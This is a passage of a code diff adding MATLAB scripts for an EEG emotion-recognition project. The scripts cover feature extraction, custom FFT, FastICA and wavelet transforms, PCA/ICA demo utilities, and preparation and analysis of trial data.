+        end
+        if ismember(4,fb)
+            if ismember(1,features)
+                data_feature = [data_feature,min(d3)];
+            end
+            if ismember(2,features)
+                data_feature = [data_feature,max(d3)];
+            end
+            if ismember(3,features)
+                data_feature = [data_feature,std(d3)];
+            end
+            if ismember(4,features)
+                data_feature = [data_feature,mean(d3)];
+            end
+            if ismember(5,features)
+                data_feature = [data_feature,mean(d3.^2)];
+            end
+            if ismember(6,features)
+                data_feature = [data_feature,sum(d3.^2)];
+            end
+        end
+        if ismember(5,fb)
+            if ismember(1,features)
+                data_feature = [data_feature,min(d2)];
+            end
+            if ismember(2,features)
+                data_feature = [data_feature,max(d2)];
+            end
+            if ismember(3,features)
+                data_feature = [data_feature,std(d2)];
+            end
+            if ismember(4,features)
+                data_feature = [data_feature,mean(d2)];
+            end
+            if ismember(5,features)
+                data_feature = [data_feature,mean(d2.^2)];
+            end
+            if ismember(6,features)
+                data_feature = [data_feature,sum(d2.^2)];
+            end
+        end
+        data = horzcat(data,data_feature);
+    end       
+end

Data Processing/Preprocessing/ownFFT.m

@@ -0,0 +1,9 @@
+function [xFFT] = ownFFT(X)
+    X = double(X);
+    N = length(X);
+    n = 0:N-1;
+    k = n';
+    M = exp(-2j*pi*k*n/N);
+    %disp(M);
+    xFFT = (M*X')';
+end

Data Processing/Preprocessing/ownFastICA.m

@@ -0,0 +1,55 @@
+function [xICA] = ownFastICA(X,r)
+
+    %%%%%%%%%% Initial Variable %%%%%%%%%%
+    eps = 1e-6;         % Convergence criteria
+    maxIters = inf;     % Maximum # iterations
+    normRows = @(XXX) bsxfun(@times,XXX,1 ./ sqrt(sum(XXX.^2,2))); %Normalisasi Euclidean
+    %%%%%%%%%%%%%%%%%%%%%%%%%%%%
+
+    %%%%%%%%%% Centering %%%%%%%%%%
+    % Compute sample mean
+    meanEachRow = mean(X,2);
+    % Subtract mean
+    resultCentering = bsxfun(@minus,X,meanEachRow); %Binary singleton expansion function
+    %%%%%%%%%%%%%%%%%%%%%%%%%%%%
+
+    %%%%%%%%%% Whitening %%%%%%%%%%
+    % Compute sample covariance
+    covMatrix = cov(resultCentering');
+    % Whiten data
+    [E,D,~] = svd(covMatrix,'econ'); %Singular Value Decomposition (E->EigenVector;D->EigenValue)
+    resultWhitening = E * diag(1 ./ sqrt(diag(D))) * E' * resultCentering; %Main Whitening
+    %%%%%%%%%%%%%%%%%%%%%%%%%%%%
+
+    %%%%%%%%%% Component Extraction %%%%%%%%%%
+    % Random initial weights
+    W = normRows(rand(r,size(resultWhitening,1)));
+    %W = rand(r,size(resultWhitening,1));
+    % Initial looping variable
+    k = 0;
+    err = inf;
+    % Looping until convergen or until maxiter
+    while (err > eps) && (k < maxIters)
+        % Increment counter
+        k = k + 1;
+
+        % Update weights
+        wLast = W; % Save last weights
+        Sk = permute(wLast * resultWhitening,[1 3 2]);
+        G = Sk .* exp(-0.5 * Sk.^2);
+        Gp = Sk .* G;
+        W = mean(bsxfun(@times,G,permute(resultWhitening,[3 1 2])),3) + bsxfun(@times,mean(Gp,3),wLast);
+        W = normRows(W);
+
+        % Decorrelate weights
+        [U,S,~] = svd(W,'econ');
+        W = U * diag(1 ./ diag(S)) * U' * W;
+
+        % Update error
+        err = max(1 - dot(W,wLast,2));
+    end
+    %%%%%%%%%%%%%%%%%%%%%%%%%%%%
+    
+    xICA = W * resultWhitening; 
+    xICA = normRows(xICA);
+end

Data Processing/Preprocessing/ownSWT.m

@@ -0,0 +1,33 @@
+function [swa,swd] = ownSWT(A,level,wname)
+    [h,g]=wfilters(wname,'r');
+    wLength = length(h)/2-1;
+
+    L = size(A,2);
+    for i=1:level
+        shift = 2^(i-1);
+        start = L-(shift*wLength)+1;
+        if(i==1)
+            decompose = A;
+        else
+            decompose = swa(i-1,:);
+        end
+
+        for j=1:L
+            swa(i,j)=0;
+            swd(i,j)=0;
+            shiftIdx=start;
+            for k=1:length(h)
+                swa(i,j)=swa(i,j)+decompose(shiftIdx)*h(k);
+                swd(i,j)=swd(i,j)+decompose(shiftIdx)*g(k);
+                shiftIdx=shiftIdx+shift;
+                if(shiftIdx>L)
+                    shiftIdx=shiftIdx-L;
+                end
+            end
+            start=start+1;
+            if(start>L)
+                start=start-L;
+            end
+        end
+    end
+end

Data Processing/Preprocessing/pca_ica/demo_ICA.m

@@ -0,0 +1,59 @@
+%
+% Name:         demo_ICA.m
+%               
+% Description:  Demonstrates the performance of ICA by decomposing
+%               correlated multivariate Gaussian samples into
+%               uncorrelated and maximally independent data streams
+%               
+%               When d == r, the ICA reconstruction is *exact*. Thus
+%               ICA effectively transforms the input data into
+%               uncorrelated, independent components while preserving
+%               information
+%               
+% Author:       Brian Moore
+%               brimoor@umich.edu
+%               
+% Date:         April 26, 2015
+%
+
+rng(1);
+
+% Knobs
+n = 100;    % # samples
+d = 3;      % Sample dimension
+r = 2;      % # independent components
+
+% Generate Gaussian data
+MU = 10 * rand(d,1);
+sigma = (2 * randi([0 1],d) - 1) .* rand(d);
+SIGMA = 3 * (sigma * sigma');
+Z = myMultiGaussian(MU,SIGMA,n);
+
+% Perform ICA
+[Zica A T mu] = myICA(Z,r);
+Zr = T \ pinv(A) * Zica + repmat(mu,1,n);
+
+% Plot indpendent components
+figure;
+for i = 1:r
+    subplot(r,1,i);
+    plot(Zica(i,:),'b');
+    grid on;
+    ylabel(sprintf('Zica(%i,:)',i));
+end
+subplot(r,1,1);
+title('Independent Components');
+
+% Plot r-dimensional approximations
+figure;
+for i = 1:d
+    subplot(d,1,i);
+    hold on;
+    p1 = plot(Z(i,:),'--r');
+    p2 = plot(Zr(i,:),'-.b');
+    grid on;
+    ylabel(sprintf('Z(%i,:)',i));
+end
+subplot(d,1,1);
+title(sprintf('%iD ICA approximation of %iD data',r,d));
+legend([p1 p2],'Z','Zr');

Data Processing/Preprocessing/pca_ica/demo_PCA1.m

@@ -0,0 +1,59 @@
+%
+% Name:         demo_PCA1.m
+%               
+% Description:  Demonstrates the performance of PCA by decomposing
+%               correlated multivariate Gaussian samples into
+%               their principal components
+%               
+%               When d == r, the PCA reconstruction is *exact*. Thus
+%               PCA effectively transforms the input data into
+%               orthogonal, maximal variance components while preserving
+%               information
+%               
+% Author:       Brian Moore
+%               brimoor@umich.edu
+%               
+% Date:         April 26, 2015
+%
+
+rng(1);
+
+% Knobs
+n = 100;    % # samples
+d = 3;      % Sample dimension
+r = 2;      % # principal components
+
+% Generate Gaussian data
+MU = 10 * rand(d,1);
+sigma = (2 * randi([0 1],d) - 1) .* rand(d);
+SIGMA = 3 * (sigma * sigma');
+Z = myMultiGaussian(MU,SIGMA,n);
+
+% Perform PCA
+[Zpca T U mu] = myPCA(Z,r);
+Zr = U / T * Zpca + repmat(mu,1,n);
+
+% Plot principal components
+figure;
+for i = 1:r
+    subplot(r,1,i);
+    plot(Zpca(i,:),'b');
+    grid on;
+    ylabel(sprintf('Zpca(%i,:)',i));
+end
+subplot(r,1,1);
+title('Principal Components');
+
+% Plot r-dimensional approximations
+figure;
+for i = 1:d
+    subplot(d,1,i);
+    hold on;
+    p1 = plot(Z(i,:),'--r');
+    p2 = plot(Zr(i,:),'-.b');
+    grid on;
+    ylabel(sprintf('Z(%i,:)',i));
+end
+subplot(d,1,1);
+title(sprintf('%iD PCA approximation of %iD data',r,d));
+legend([p1 p2],'Z','Zr');

Data Processing/Preprocessing/pca_ica/demo_PCA2.m

@@ -0,0 +1,66 @@
+%
+% Name:         demo_PCA2.m
+%               
+% Description:  Generates multivariate Gaussian samples and applies PCA to
+%               extract the dimensions of maximum variance and projects the
+%               samples onto them
+%               
+% Author:       Brian Moore
+%               brimoor@umich.edu
+%               
+% Date:         April 26, 2015
+%
+
+rng(1);
+
+% Knobs
+n = 1000;   % # samples
+d = 3;      % Sample dimension
+r = 2;      % # principal components
+
+% Generate Gaussian data
+MU = 10 * rand(d,1);
+sigma = (2 * randi([0 1],d) - 1) .* rand(d);
+SIGMA = 3 * (sigma * sigma');
+Z = myMultiGaussian(MU,SIGMA,n);
+
+% Perform PCA
+[Zpca,~,~,~,eigVecs] = myPCA(Z,r);
+
+% Plot samples + scaled eigenvectors
+figure;
+x = @(i,j) MU(i) + [0 eigVecs(i,j)];
+if (d == 2)
+    % Plot 2D data
+    plot(Z(1,:),Z(2,:),'g+');
+    hold on;
+    for j = 1:r
+        plot(x(1,j),x(2,j),'b','Linewidth',3);
+    end
+else
+    % Plot first 3 dimensions
+    plot3(Z(1,:),Z(2,:),Z(3,:),'g+');
+    hold on;
+    for j = 1:r
+        plot3(x(1,j),x(2,j),x(3,j),'b','Linewidth',3);
+    end
+end
+title(sprintf('First %i principal directions of %iD Gaussian samples',min(3,r),d));
+grid on;
+set(gca,'DataAspectRatio',[1 1 1]);
+
+% Plot principal componenets
+figure;
+if (r == 2)
+    % Plot 2D data
+    plot(Zpca(1,:),Zpca(2,:),'r+');
+else
+    % Plot first 3 dimensions
+    plot3(Zpca(1,:),Zpca(2,:),Zpca(3,:),'r+');
+    zlabel('Principal direction #3');
+end
+title(sprintf('Zpca(1:%i,:)',min(3,r)));
+xlabel('Principal direction #1');
+ylabel('Principal direction #2');
+grid on;
+set(gca,'DataAspectRatio',[1 1 1]);

Data Processing/Preprocessing/pca_ica/myCenter.m

@@ -0,0 +1,28 @@
+function [Zc mu] = myCenter(Z)
+%--------------------------------------------------------------------------
+% Syntax:       Zc = myCenter(Z);
+%               [Zc mu] = myCenter(Z);
+%               
+% Inputs:       Z is an (d x n) matrix containing n samples of a
+%               d-dimensional random vector
+%               
+% Outputs:      Zc is the centered version of Z
+%               
+%               mu is the (d x 1) sample mean of Z
+%               
+% Description:  This function returns the centered (i.e., zero mean)
+%               version of the input samples
+%               
+%               NOTE: Z = Zc + repmat(mu,1,n);
+%               
+% Author:       Brian Moore
+%               brimoor@umich.edu
+%               
+% Date:         April 26, 2015
+%--------------------------------------------------------------------------
+
+% Compute sample mean
+mu = mean(Z,2);
+
+% Subtract mean
+Zc = bsxfun(@minus,Z,mu);

Data Processing/Preprocessing/pca_ica/myCenterAndWhiten.m

@@ -0,0 +1,31 @@
+function [Zcw T mu] = myCenterAndWhiten(Z)
+%--------------------------------------------------------------------------
+% Syntax:       Zcw = myCenterAndWhiten(Z);
+%               [Zcw T] = myCenterAndWhiten(Z);
+%               [Zcw T mu] = myCenterAndWhiten(Z);
+%               
+% Inputs:       Z is an (d x n) matrix containing n samples of a
+%               d-dimensional random vector
+%               
+% Outputs:      Zcw is the centered and whitened version of Z
+%               
+%               T is the (d x d) whitening transformation of Z
+%               
+%               mu is the (d x 1) sample mean of Z
+%               
+% Description:  This function returns the centered (zero-mean) and whitened
+%               (identity covariance) version of the input samples
+%               
+%               NOTE: Z = T \ Zcw + repmat(mu,1,n);
+%               
+% Author:       Brian Moore
+%               brimoor@umich.edu
+%               
+% Date:         April 26, 2015
+%--------------------------------------------------------------------------
+
+% Center data
+[Zc mu] = myCenter(Z);
+
+% Whiten data
+[Zcw T] = myWhiten(Zc);

Data Processing/Preprocessing/pca_ica/myICA.m

@@ -0,0 +1,92 @@
+function [Zica A T mu] = myICA(Z,r,dispFlag)
+%--------------------------------------------------------------------------
+% Syntax:       Zica = myICA(Z,r);
+%               Zica = myICA(Z,r,dispFlag);
+%               [Zica A T mu] = myICA(Z,r);
+%               [Zica A T mu] = myICA(Z,r,dispFlag);
+%               
+% Inputs:       Z is an (d x n) matrix containing n samples of an
+%               d-dimensional random vector
+%               
+%               r is the desired number of independent components
+%               
+%               [OPTIONAL] dispFlag = {true false} sets the stdout print
+%               state. The default value is dispFlag = true
+%               
+% Outputs:      Zica is an (r x n) matrix containing the r independent
+%               components - scaled to variance 1 - of the input samples
+%               
+%               A and T are the ICA transformation matrices such that
+%               Zr = T \ pinv(A) * Zica + repmat(mu,1,n);
+%               is the r-dimensional ICA approximation of Z
+%               
+%               mu is the (d x 1) sample mean of Z
+%               
+% Description:  This function performs independent component analysis (ICA)
+%               on the input samples using the FastICA algorithm with 
+%               Gaussian negentropy
+%               
+% Author:       Brian Moore
+%               brimoor@umich.edu
+%               
+% Date:         April 26, 2015
+%--------------------------------------------------------------------------
+
+% Knobs
+eps = 1e-6;         % Convergence criteria
+maxSamples = 1000;  % Max # data points in sample mean calculation
+maxIters = 100;     % Maximum # iterations
+
+% Parse display flag
+dispFlag = (nargin < 3) || dispFlag;
+
+% Center and whiten input data
+[Zcw T mu] = myCenterAndWhiten(Z);
+
+% Parse whitened data
+[d n] = size(Zcw);
+if (n > maxSamples)
+    % Truncate data for sample mean calculations
+    Zcwt = Zcw(:,randperm(n,maxSamples));
+else
+    % Full data
+    Zcwt = Zcw;
+end
+
+% Random initial weights
+normRows = @(X) bsxfun(@times,X,1 ./ sqrt(sum(X.^2,2)));
+W = normRows(rand(r,d));
+
+% FastICA w/ Gaussian negentropy
+k = 0;
+err = inf;
+while (err > eps) && (k < maxIters)
+    % Increment counter
+    k = k + 1;
+    
+    % Update weights
+    Wlast = W; % Save last weights
+    Sk = permute(Wlast * Zcwt,[1 3 2]);
+    G = Sk .* exp(-0.5 * Sk.^2);
+    Gp = Sk .* G;
+    W = mean(bsxfun(@times,G,permute(Zcwt,[3 1 2])),3) + bsxfun(@times,mean(Gp,3),Wlast);
+    W = normRows(W);
+    
+    % Decorrelate weights
+    [U,S,~] = svd(W,'econ');
+    W = U * diag(1 ./ diag(S)) * U' * W;
+    
+    % Update error
+    err = max(1 - dot(W,Wlast,2));
+    
+    % Display progress
+    if dispFlag == true
+        sprintf('Iteration %i: max(1 - <w%i,w%i>) = %.4g\n',k,k,k - 1,err);
+    end
+end
+
+% Transformation matrix
+A = W;
+
+% Independent components
+Zica = A * Zcw;

Data Processing/Preprocessing/pca_ica/myMultiGaussian.m

@@ -0,0 +1,42 @@
+function Z = myMultiGaussian(MU,SIGMA,n)
+%--------------------------------------------------------------------------
+% Syntax:       Z = myMultiGaussian(MU,SIGMA);
+%               Z = myMultiGaussian(MU,SIGMA,n);
+%               
+% Inputs:       MU is the desired (d x 1) mean vector
+%               
+%               SIGMA is the desired (d x d) covariance matrix
+%               
+%               [OPTIONAL] n is the desired number of samples. The default
+%               value is n = 1
+%               
+% Outputs:      Z is a (d x n) matrix containing n multivariate Gaussian 
+%               samples
+%               
+% Description:  This function generates samples from a d-dimensional
+%               multivariate Gaussian random variable with mean vector MU
+%               and covariance matrix SIGMA
+%               
+%               NOTE: mean(Z,2) ~ MU
+%                     cov(Z') ~ SIGMA
+%               
+% Author:       Brian Moore
+%               brimoor@umich.edu
+%               
+% Date:         April 26, 2015
+%--------------------------------------------------------------------------
+
+% Parse inputs
+[d d2] = size(SIGMA);
+if (d ~= d2) || (d ~= length(MU))
+    % Syntax error
+    error('Syntax error... Type "help myMultiGaussian" for more info');
+end
+if nargin < 3
+    % Default # samples
+    n = 1;
+end
+
+% Generate samples
+L = chol(SIGMA,'lower');
+Z = repmat(MU,1,n) + L * randn(d,n);

Data Processing/Preprocessing/pca_ica/myPCA.m

@@ -0,0 +1,55 @@
+function [Zpca T U mu eigVecs] = myPCA(Z,r)
+%--------------------------------------------------------------------------
+% Syntax:       Zpca = myPCA(Z,r);
+%               [Zpca T U mu] = myPCA(Z,r);
+%               [Zpca T U mu eigVecs] = myPCA(Z,r);
+%               
+% Inputs:       Z is an (d x n) matrix containing n samples of a
+%               d-dimensional random vector
+%               
+%               r is the desired number of principal components
+%               
+% Outputs:      Zpca is a (r x n) matrix containing the r principal
+%               components - scaled to variance 1 - of the input samples
+%               
+%               U and T are the PCA transformation matrices such that
+%               Zr = U / T * Zpca + repmat(mu,1,n);
+%               is the r-dimensional PCA approximation of Z
+%               
+%               mu is the (d x 1) sample mean of Z
+%               
+%               eigVecs is a (d x r) matrix containing the scaled
+%               eigenvectors of the sample covariance of Z
+%               
+% Description:  This function performs principal component analysis (PCA)
+%               on the input samples
+%               
+% Author:       Brian Moore
+%               brimoor@umich.edu
+%               
+% Date:         April 26, 2015
+%--------------------------------------------------------------------------
+
+% Center data
+[Zc mu] = myCenter(Z);
+
+% Compute truncated SVD
+%[U S V] = svds(Zc,r); % Equivalent, but usually slower than svd()
+[U S V] = svd(Zc,'econ');
+U = U(:,1:r);
+S = S(1:r,1:r);
+V = V(:,1:r);
+
+% Compute principal components
+Zpca = S * V';
+%Zpca = U' * Zc; % Equivalent but slower
+
+% Whiten data, if desired
+%[Zpca T] = myWhiten(Zpca);
+T = eye(r); % No whitening
+
+% Return scaled eigenvectors, if necessary
+if (nargout >= 5)
+    [~,n] = size(Z);
+    eigVecs = bsxfun(@times,U,diag(S)' / sqrt(n));
+end

Data Processing/Preprocessing/pca_ica/myWhiten.m

@@ -0,0 +1,32 @@
+function [Zw T] = myWhiten(Z)
+%--------------------------------------------------------------------------
+% Syntax:       Zw = myWhiten(Z);
+%               [Zw T] = myWhiten(Z);
+%               
+% Inputs:       Z is an (d x n) matrix containing n samples of a
+%               d-dimensional random vector
+%               
+% Outputs:      Zw is the whitened version of Z
+%               
+%               T is the (d x d) whitening transformation of Z
+%               
+% Description:  This function returns the whitened (identity covariance)
+%               version of the input samples
+%               
+%               NOTE: Must have n >= d to fully whiten Z
+%               
+%               NOTE: Z = T \ Zcw;
+%               
+% Author:       Brian Moore
+%               brimoor@umich.edu
+%               
+% Date:         April 26, 2015
+%--------------------------------------------------------------------------
+
+% Compute sample covariance
+R = cov(Z');
+
+% Whiten data
+[U,S,~] = svd(R,'econ');
+T = U * diag(1 ./ sqrt(diag(S))) * U';
+Zw = T * Z;

Data Processing/Preprocessing/preProcessing.m

@@ -0,0 +1,60 @@
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%Author : Muhammad Nadzeri Munawar
+%         
+%
+%This code is to create absolute_power variable of subject no. 20 such as :
+%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
+%channel, 5 mean total absolute power, 40 mean 40 trial
+%
+% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
+% method -> fft;ica_fft;swt;ica_swt
+% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
+% channel -> [2,3,4,5,6,7,8,14];
+% fb -> for fft : 1.Delta;2.Theta;3.Alpha;4.Beta;5.Gamma - for swt : 1.A5;2.D5;3.D4;4.D3;5.D2
+% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+
+function preProcessing(project_path,method,class,subject,channel,fb,features)
+    
+    %%%%%%%%%%%%%%
+    project_path = strcat(pwd,'\..\..');
+    method='fft';%'ica_fft','swt','ica_swt';
+    
+%     class='arousal';%'valence';
+%     subject = 1:34;
+    fb = 1:5;
+    features = 3:4;
+    channel = 1:14;
+    
+    %Arousal
+    class='arousal';%'valence';
+    subject = [16,13,10,28,11,7,6,2,20,26,29,15,4,30,5,34,9,24,8,23];
+%     fb = [3,4,5];
+%     features = [2,3];
+%     channel = [3,13,10,2,1,12,4,7,8,11];
+
+    %Valence
+%     class='valence';%'valence';
+%     subject = [16,25,34,9,5,4,20,28,2,6,32,29,15,10,22,11,8,1,31,13];
+%     fb = [3,4,5];
+%     features = [2,3];
+%     channel = [10,3,14,5,1,8,6,4,7,11];
+
+    %%%%%%%%%%%%%%%
+      
+    if strcmp(method,'fft')
+        computeFFT(project_path,method,class,subject,channel,fb,features);
+    elseif strcmp(method,'ica_fft')
+        if exist(strcat(project_path,'\ICA_EEG'), 'dir')==0
+            computeICA(project_path);
+        end
+        computeFFT(project_path,method,class,subject,channel,fb,features);
+    elseif strcmp(method,'swt')
+        computeSWT(project_path,method,class,subject,channel,fb,features);
+    elseif strcmp(method,'ica_swt')
+        if exist(strcat(project_path,'\ICA_EEG'), 'dir')==0
+            computeICA(project_path);
+        end
+        computeSWT(project_path,method,class,subject,channel,fb,features);
+    end
+end

Data Processing/Preprocessing/preProcessingPredict.m

@@ -0,0 +1,23 @@
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%Author : Muhammad Nadzeri Munawar
+%         
+%
+%This code is to create absolute_power variable of subject no. 20 such as :
+%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
+%channel, 5 mean total absolute power, 40 mean 40 trial
+%
+% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
+% method -> fft;ica_fft;swt;ica_swt
+% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
+% channel -> [2,3,4,5,6,7,8,14];
+% fb -> for fft : 1.Delta;2.Theta;3.Alpha;4.Beta;5.Gamma - for swt : 1.A5;2.D5;3.D4;4.D3;5.D2
+% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+
+function result = preProcessingPredict(raw_data,preprocessing_method,channel,fb,features)
+    if strcmp(preprocessing_method,'fft') || strcmp(preprocessing_method,'ica_fft')
+        result = computeFFTPredict(raw_data,preprocessing_method,channel,fb,features);
+    elseif strcmp(preprocessing_method,'swt') || strcmp(preprocessing_method,'ica_swt')
+        result = computeSWTPredict(raw_data,preprocessing_method,channel,fb,features);
+    end
+end

Data Processing/Process Data/cutData.m

@@ -0,0 +1,47 @@
+function cutData(dataset_path,project_path)
+    addpath(genpath('..\Global Code'));
+    
+    dataset_eeg_path = strcat(dataset_path,'\EEG');
+
+    len1 = 640;
+    len2 = 3200;
+
+    allList = dir(dataset_eeg_path);
+    allDir = { allList(3:end).name };
+    
+    if exist(strcat(project_path,'\EEG"'), 'dir')
+        system(strcat('rmdir /S /Q "',project_path,'\EEG"'));
+    end
+    createFolder(length(allDir),strcat(project_path,'\EEG'));
+    
+    for i=1:length(allDir)
+        dataOneDir = allDir{i};
+        allFileList = dir(strcat(dataset_eeg_path,'\',dataOneDir));
+        allFileName = { allFileList(3:end).name };
+
+        for j = 1:length(allFileName)
+            dataOneFile = allFileName{j};
+            dataEEG = csvread(strcat(dataset_eeg_path,'\',dataOneDir,'\',dataOneFile),1,0);
+            start = mod(length(dataEEG),4)+1;
+            dataEEG = dataEEG(start:end,3:16);
+            L = length(dataEEG);
+
+            if L>=len2
+                used = (L - len2)/2;
+            elseif L>=len1
+                used = (L - len1)/2;
+            else
+                continue;
+            end
+
+            start = used+1;
+            stop = L - used;
+
+            rawData = transpose(dataEEG(start:stop,:));
+
+            fileNewName = dataOneFile(5:end-22);
+           
+            csvwrite(strcat(project_path,'\EEG\',dataOneDir,'\',fileNewName,'.csv'),rawData);
+        end
+    end
+end

Data Processing/Process Data/cutDataPredict.m

@@ -0,0 +1,27 @@
+function raw_data = cutDataPredict(file_path)
+    normRows = @(XXX) bsxfun(@times,XXX,1 ./ sqrt(sum(XXX.^2,2))); %Normalisasi Euclidean
+    len1 = 640;
+    
+    dataEEG = csvread(file_path,1,0);
+    start = mod(length(dataEEG),4)+1;
+    dataEEG = dataEEG(start:end,3:16);
+    L = length(dataEEG);
+
+    if L>=len1
+        used = (L - len1)/2;
+    end
+
+    start = used+1;
+    stop = L - used;
+
+    raw_data = transpose(dataEEG(start:stop,:)); 
+    %raw_data = normRows(raw_data);
+    
+    for i=1:14
+        path = strcat('../../Web App/img/raw_data/',num2str(i),'.png');
+
+        set(gcf,'Visible','off');
+        plot(raw_data(i,:));
+        print(path,'-dpng');
+    end
+end

Data Processing/Process Data/divideFiveSeconds.m

@@ -0,0 +1,61 @@
+function divideFiveSeconds(dataset_path,project_path)
+    addpath(genpath('..\Global Code'));
+    normRows = @(XXX) bsxfun(@times,XXX,1 ./ sqrt(sum(XXX.^2,2))); %Normalisasi Euclidean
+    
+    base_path = strcat(project_path,'\EEG');
+    base_path2 = strcat(project_path,'\USED_EEG');
+    dataKuesioner = csvread(strcat(dataset_path,'\metadata\list questionnairre.csv'));
+    
+    counterNewKuesioner=1;
+    counterKuesioner=1;
+    newDataKuesioner={};
+    allList = dir( base_path );
+    allDir = { allList(3:end).name };
+    lewat=0;
+    
+    if exist(base_path2, 'dir')
+        system(strcat('rmdir /S /Q "',base_path2,'"'));
+    end
+    createFolder(length(allDir),base_path2);
+    
+    for i=1:length(allDir)
+        dataOneDir = allDir{i};
+        allFileList = dir(strcat(base_path,'\',dataOneDir));
+        allFileName = { allFileList(3:end).name };
+
+        counter=1;
+
+        for j = 1:length(allFileName)
+            dataOneFile = allFileName{j};
+            dataEEG = csvread(strcat(base_path,'\',dataOneDir,'\',dataOneFile));
+            %dataEEG = normRows(dataEEG);
+            if length(dataEEG(1,:))==640
+                csvwrite(strcat(base_path2,'\',dataOneDir,'\T',num2str(counter),'.csv'),dataEEG);
+                newDataKuesioner{counterNewKuesioner} = dataKuesioner(counterKuesioner,:);
+                counter=counter+1;
+                counterKuesioner=counterKuesioner+1;
+                counterNewKuesioner=counterNewKuesioner+1;
+            elseif length(dataEEG(1,:))==3200
+                start=1;
+                stop=640;
+                for k=1:5
+                    csvwrite(strcat(base_path2,'\',dataOneDir,'\T',num2str(counter),'.csv'),dataEEG(:,start:stop));
+                    newDataKuesioner{counterNewKuesioner} = dataKuesioner(counterKuesioner,:);
+                    start=stop+1;
+                    stop=stop+640;
+                    counter=counter+1;
+                    counterNewKuesioner=counterNewKuesioner+1;
+                end
+                counterKuesioner=counterKuesioner+1;
+            else
+                lewat=lewat+1;
+            end
+        end
+    end
+    newDataKuesioner = reshape(cell2mat(newDataKuesioner),2,[]);
+    newDataKuesioner = transpose(newDataKuesioner);
+    
+    mkdir(strcat(project_path,'\Metadata'));
+    
+    csvwrite(strcat(project_path,'\Metadata\newDataKuesioner.csv'),newDataKuesioner);
+end

Data Processing/Process Data/processData.m

@@ -0,0 +1,8 @@
+function processData(dataset_path)
+    dataset_path = 'D:\TUGAS AKHIR\Datasets';
+    project_path = strcat(pwd,'\..\..');
+    %%%%%%%%%%%%%
+    
+    cutData(dataset_path,project_path);
+    divideFiveSeconds(dataset_path,project_path);
+end

Data Processing/Statical Analysis/absolute.m

@@ -0,0 +1,106 @@
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%Author : Muhammad Nadzeri Munawar
+%         
+%
+%This code is to create absolute_power variable of subject no. 20 such as :
+%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
+%channel, 5 mean total absolute power, 40 mean 40 trial
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+    
+function absolute_power = absolute(project_path,method)
+
+    % define initial variable
+    if strcmp(method,'fft') || strcmp(method,'swt')
+        basePath = strcat(project_path,'\USED_EEG\');
+    elseif strcmp(method,'ica_fft') || strcmp(method,'ica_swt')
+        basePath = strcat(project_path,'\ICA_EEG\');
+    end
+    all_files = dir(basePath);
+    all_files = all_files(3:end);
+    all_dir = all_files([all_files(:).isdir]);
+    subjects = numel(all_dir);
+    channel = 14;%define total channel
+    samplingFrequency = 128;
+
+    for h = 1:subjects
+        directory = sprintf('S%02d',h);
+
+        allList = dir( strcat(basePath,directory ));
+        allFiles = { allList(3:end).name };
+
+        %looping trial for define absolut power for each trial
+        for i = 1:length(allFiles)
+
+            %looping channel for compute absolute power for each channel
+            for j = 1:channel
+
+                %open spesific file according trial and channel
+                %Contain each channel per file (In this case subject no. 20)
+                X = csvread(strcat(basePath,directory,'\T',num2str(i),'.csv'));
+                X = X(j,:);
+                
+                if strcmp(method,'swt')||strcmp(method,'ica_swt')
+                    [swa,swd] = swt(X,5,'db4');
+                    
+                    d2=swd(2,:);
+                    d3=swd(3,:);
+                    d4=swd(4,:);
+                    d5=swd(5,:);
+                    a5=swa(5,:);
+
+                    absolute_power(h,j,1,i) = mean(d2)+std(d2)+min(d2)+max(d2);
+                    absolute_power(h,j,2,i) = mean(d3)+std(d3)+min(d3)+max(d3);
+                    absolute_power(h,j,3,i) = mean(d4)+std(d4)+min(d4)+max(d4);
+                    absolute_power(h,j,4,i) = mean(d5)+std(d5)+min(d5)+max(d5);
+                    absolute_power(h,j,5,i) = mean(a5)+std(a5)+min(a5)+max(a5);
+%                     absolute_power(h,j,1,i) = sum(d2.^2);
+%                     absolute_power(h,j,2,i) = sum(d3.^2);
+%                     absolute_power(h,j,3,i) = sum(d4.^2);
+%                     absolute_power(h,j,4,i) = sum(d5.^2);
+%                     absolute_power(h,j,5,i) = sum(a5.^2);
+                    
+                elseif strcmp(method,'fft')||strcmp(method,'ica_fft')
+                    Fs = samplingFrequency;  % Sampling frequency
+                    L = length(X);             % Length of signal
+
+                    %compute fft from channel
+                    Y = fft(X);
+
+                    %Divide fft to get frequency
+                    P2 = abs(Y/L);
+                    P1 = P2(1:L/2+1);
+                    P1(2:end-1) = 2*P1(2:end-1);
+
+                    %divide froquency to get delta, theta, alpha, beta, gamma
+                    %And average all of each range (delta, theta, alpha, beta, gamma) 
+                    delta = P1(L*1/Fs:L*4/Fs);
+                    theta = P1(L*4/Fs:L*8/Fs);
+                    alpha = P1(L*8/Fs:L*13/Fs);
+                    beta = P1(L*13/Fs:L*30/Fs);
+                    gamma = P1(L*30/Fs:L*50/Fs);
+
+                    delta = mean(delta)+std(delta)+min(delta)+max(delta);
+                    theta = mean(theta)+std(theta)+min(theta)+max(theta);
+                    alpha = mean(alpha)+std(alpha)+min(alpha)+max(alpha);
+                    beta  = mean(beta)+std(beta)+min(beta)+max(beta);
+                    gamma = mean(gamma)+std(gamma)+min(gamma)+max(gamma);
+                    
+%                     delta = max(delta)+std(delta);
+%                     theta = max(delta)+std(theta);
+%                     alpha = max(delta)+std(alpha);
+%                     beta  = max(delta)+std(beta);
+%                     gamma = max(delta)+std(gamma);
+
+                    %Create absolute power
+                    %Each channel create absolute power (delta,theta,alpha,beta,gamma)
+                    %from each trial
+                    absolute_power(h,j,1,i) = delta;
